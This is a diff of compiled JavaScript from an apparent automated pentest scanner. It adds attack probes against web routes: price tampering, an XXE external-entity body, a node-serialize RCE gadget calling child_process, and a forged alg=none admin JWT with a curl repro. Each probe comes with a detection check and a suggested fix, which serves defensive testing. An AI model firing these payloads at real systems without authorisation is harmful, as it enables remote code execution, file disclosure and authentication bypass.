60
+ from: p.confidence,
61
+ to: f.confidence,
62
+ });
63
+ }
64
+ }
65
+ const regression = news.some((e) => e.severity === "critical" || e.severity === "high") ||
66
+ escalations.some((e) => e.to === "proven" && e.from !== "proven");
67
+ return { baselineTimestamp, new: news, resolved, escalations, regression };
68
+ }
69
+ //# sourceMappingURL=drift.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"drift.js","sourceRoot":"","sources":["../../src/pen/drift.ts"],"names":[],"mappings":"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"}
@@ -96,11 +96,22 @@ function sanitize(s) {
96
96
  .trim()
97
97
  .slice(0, 300);
98
98
  }
99
- async function hit(baseUrl, method, p, body) {
99
+ function b64url(s) {
100
+ return Buffer.from(s, "utf8")
101
+ .toString("base64")
102
+ .replace(/\+/g, "-")
103
+ .replace(/\//g, "_")
104
+ .replace(/=+$/, "");
105
+ }
106
+ async function hit(baseUrl, method, p, body, headers) {
107
+ const isStr = typeof body === "string";
100
108
  const effort = {
101
109
  method,
102
- headers: body !== undefined ? { "Content-Type": "application/json" } : undefined,
103
- body: body !== undefined ? JSON.stringify(body) : undefined,
110
+ headers: {
111
+ ...(body !== undefined ? { "Content-Type": isStr ? "application/xml" : "application/json" } : {}),
112
+ ...(headers ?? {}),
113
+ },
114
+ body: body !== undefined ? (isStr ? body : JSON.stringify(body)) : undefined,
104
115
  redirect: "manual",
105
116
  signal: AbortSignal.timeout(REQUEST_TIMEOUT_MS),
106
117
  };
@@ -561,6 +572,122 @@ export async function runDynamic(repo, routes) {
561
572
  });
562
573
  }
563
574
  }
575
+ /* ---- P1 advanced battery (gated to relevant routes) ---- */
576
+ const moneyRoute = /(charge|payment|order|checkout|cart|invoice|purchase|subscribe|buy)/i.test(route.path);
577
+ // price-tampering: only on order/payment routes.
578
+ if (route.method !== "GET" && moneyRoute) {
579
+ const tPayload = { itemId: "x", amount: "0.01", quantity: 1, price: "0.01" };
580
+ const tres = await hit(baseUrl, route.method, urlPath, tPayload);
581
+ attacks++;
582
+ if (tres.status < 300 && /"(?:amount|total|price)"\s*:\s*("?0\.01"?)/.test(tres.text)) {
583
+ pushFinding({
584
+ type: "price-tampering",
585
+ severity: "critical",
586
+ confidence: "indicated",
587
+ title: `client-supplied price accepted on ${routeLabel}`,
588
+ description: `POSTing amount=0.01 to ${routeLabel} returned HTTP ${tres.status} with the tampered value reflected as the order total — the server trusted the client price. An attacker can checkout at any price.`,
589
+ route: route.path,
590
+ method: route.method,
591
+ attack: { method: route.method, path: urlPath, payload: tPayload },
592
+ response: { status: tres.status, snippet: tres.snippet },
593
+ repro: `POST ${urlPath} with { amount: "0.01", quantity: 1 } and observe the total in the response.`,
594
+ fix: "Recompute amount/price/total server-side from the catalog by item id; never trust client-supplied monetary values.",
595
+ });
596
+ }
597
+ }
598
+ // XXE: only on routes that accept XML.
599
+ if (route.method !== "GET") {
600
+ const xmlProbe = await hit(baseUrl, route.method, urlPath, `<?xml version="1.0"?><root>1</root>`, {
601
+ "Content-Type": "application/xml",
602
+ });
603
+ attacks++;
604
+ if (xmlProbe.status < 400) {
605
+ const xxeBody = `<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "${canaryUrl}">]><root>&xxe;</root>`;
606
+ const pre = readOutbound(outboundPath);
607
+ const nextN = pre.length ? Math.max(...pre.map((o) => o.n ?? 0)) : 0;
608
+ const xres = await hit(baseUrl, route.method, urlPath, xxeBody, { "Content-Type": "application/xml" });
609
+ attacks++;
610
+ const inWin = readOutbound(outboundPath).filter((o) => (o.n ?? 0) > nextN);
611
+ const xxeSsrf = inWin.filter((o) => o.kind === "http" && o.host && o.host.includes("ssrf-canary"));
612
+ if (xres.status < 300 && (xres.text.includes("root:x:0:0") || xres.text.includes("[extensions]") || xres.text.includes("; for 16-bit app support"))) {
613
+ pushFinding({
614
+ type: "xxe",
615
+ severity: "high",
616
+ confidence: "proven",
617
+ title: `XXE file read on ${routeLabel}`,
618
+ description: `An XML body with an external entity made ${routeLabel} return a host file in the HTTP ${xres.status} response. That is local file disclosure via XML parsing.`,
619
+ route: route.path,
620
+ method: route.method,
621
+ attack: { method: route.method, path: urlPath, payload: xxeBody },
622
+ response: { status: xres.status, snippet: xres.snippet },
623
+ fix: "Disable DTDs/external entities in the XML parser (forbidUnknownContent / noEnt:false / disallowDoctype); prefer JSON.",
624
+ });
625
+ }
626
+ else if (xxeSsrf.length > 0) {
627
+ pushFinding({
628
+ type: "xxe",
629
+ severity: "high",
630
+ confidence: "proven",
631
+ title: `XXE SSRF on ${routeLabel}`,
632
+ description: `An XML external entity made the SERVER open a connection to ${canaryHost} (recorded by the sandbox). XXE can also read local files.`,
633
+ route: route.path,
634
+ method: route.method,
635
+ attack: { method: route.method, path: urlPath, payload: xxeBody },
636
+ response: { status: xres.status, snippet: xres.snippet },
637
+ outbound: xxeSsrf.slice(0, 3).map((e) => `http → ${e.host}`),
638
+ fix: "Disable DTDs/external entities in the XML parser; never parse attacker-controlled XML with entity resolution on.",
639
+ });
640
+ }
641
+ }
642
+ }
643
+ // insecure-deserialization: node-serialize gadget; proven only if a spawn canary fires.
644
+ if (route.method !== "GET") {
645
+ const gadget = JSON.stringify({
646
+ rce: `_$$ND_FUNC$$_function (){require('child_process').execSync('echo ${marker}')}()`,
647
+ });
648
+ const pre = readOutbound(outboundPath);
649
+ const nextN = pre.length ? Math.max(...pre.map((o) => o.n ?? 0)) : 0;
650
+ const dres = await hit(baseUrl, route.method, urlPath, { data: gadget, payload: gadget, body: gadget });
651
+ attacks++;
652
+ const inWin = readOutbound(outboundPath).filter((o) => (o.n ?? 0) > nextN);
653
+ const deserProof = inWin.filter((o) => o.kind === "spawn" && o.cmd && o.cmd.includes(marker));
654
+ if (deserProof.length > 0) {
655
+ pushFinding({
656
+ type: "insecure-deserialization",
657
+ severity: "critical",
658
+ confidence: "proven",
659
+ title: `insecure deserialization RCE on ${routeLabel}`,
660
+ description: `A node-serialize gadget in the request body made the SERVER spawn a process containing the marker (cmd: ${deserProof[0].cmd}). That is remote code execution via deserialization.`,
661
+ route: route.path,
662
+ method: route.method,
663
+ attack: { method: route.method, path: urlPath, payload: { data: gadget } },
664
+ response: { status: dres.status, snippet: dres.snippet },
665
+ outbound: deserProof.slice(0, 2).map((e) => `spawn: ${e.cmd}`),
666
+ fix: "Never deserialize untrusted input. Use JSON.parse with a strict schema (zod) and no function/reviver gadgets.",
667
+ });
668
+ }
669
+ }
670
+ // JWT alg=none / weak-secret: on auth-like routes.
671
+ if (route.loginLike || /(token|auth|login|session|jwt)/i.test(route.path)) {
672
+ const noneTok = `${b64url('{"alg":"none","typ":"JWT"}')}.${b64url('{"user":"admin","role":"admin"}')}.`;
673
+ const jres = await hit(baseUrl, route.method, urlPath, undefined, { Authorization: `Bearer ${noneTok}` });
674
+ attacks++;
675
+ if (jres.status < 300 && jres.status !== 401 && jres.status !== 403) {
676
+ pushFinding({
677
+ type: "jwt-weak-secret",
678
+ severity: "high",
679
+ confidence: "indicated",
680
+ title: `JWT accepted with alg=none on ${routeLabel}`,
681
+ description: `Sending a forged token signed with alg=none to ${routeLabel} returned HTTP ${jres.status} instead of 401/403. The endpoint does not enforce a signature algorithm — tokens can be forged.`,
682
+ route: route.path,
683
+ method: route.method,
684
+ attack: { method: route.method, path: urlPath, payload: { Authorization: `Bearer ${noneTok}` } },
685
+ response: { status: jres.status, snippet: jres.snippet },
686
+ repro: `curl -H "Authorization: Bearer ${noneTok}" ${baseUrl}${urlPath}`,
687
+ fix: 'Pass `{ algorithms: ["HS256"] }` to jwt.verify and use a strong secret from an env var (>= 32 random bytes).',
688
+ });
689
+ }
690
+ }
564
691
  /* ---- rate-limit battery on login-like routes ---- */
565
692
  if (route.loginLike) {
566
693
  let seen429 = 0;